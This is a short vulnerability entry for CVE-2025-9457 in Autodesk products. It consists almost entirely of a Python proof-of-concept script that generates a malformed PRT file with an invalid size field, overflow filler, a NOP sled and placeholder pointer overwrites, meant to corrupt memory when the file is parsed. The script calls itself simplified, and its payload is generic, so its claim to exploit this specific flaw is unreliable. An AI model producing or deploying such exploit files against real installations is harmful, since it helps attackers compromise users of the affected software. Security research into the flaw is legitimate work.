CVE-2025-9457 Autodesk产品PRT文件内存损坏漏洞

#!/usr/bin/env python3 # CVE-2025-9457 PoC - Malicious PRT File Generator # Generate a malformed PRT file to trigger memory corruption in Autodesk products # WARNING: For educational and security research purposes only import struct import os def generate_malformed_prt(output_path): """ Generate a malicious PRT file that can trigger memory corruption in vulnerable Autodesk products during file parsing. """ # PRT file header with malicious modifications # Standard PRT signature followed by corrupted data prt_header = b'PRT\x00' # PRT file signature # Malicious payload designed to trigger memory corruption # This exploits insufficient bounds checking during file parsing malformed_data = b'\x41' * 1024 # Pattern to trigger overflow malformed_data += b'\x42' * 512 malformed_data += b'\x00' * 256 # Null bytes malformed_data += b'\xFF' * 128 # Overwrite pattern # Crafted structure to corrupt memory pointers # Overwrite heap metadata and function pointers exploit_payload = b'\x90' * 64 # NOP sled exploit_payload += b'\xCC' * 32 # Breakpoint instructions exploit_payload += struct.pack('<Q', 0x4141414141414141) # Corrupted pointer exploit_payload += struct.pack('<Q', 0x4242424242424242) # Target address # Malformed file structure with invalid size fields size_field = struct.pack('<I', 0xFFFFFFFF) # Invalid size to trigger overflow # Combine all parts to create malicious PRT file malicious_prt = ( prt_header + size_field + malformed_data + exploit_payload + b'\xDE\xAD\xBE\xEF' # End marker ) # Write the malicious file with open(output_path, 'wb') as f: f.write(malicious_prt) print(f"[+] Malicious PRT file generated: {output_path}") print(f"[+] File size: {len(malicious_prt)} bytes") print(f"[!] This file is designed to trigger CVE-2025-9457") print(f"[!] DO NOT open with production Autodesk software") def main(): output_file = "CVE-2025-9457_malicious.prt" generate_malformed_prt(output_file) print("\n[*] PoC generated successfully") print("[*] Note: This is a simplified PoC for demonstration") print("[*] Real exploit may require more sophisticated techniques") if __name__ == "__main__": main()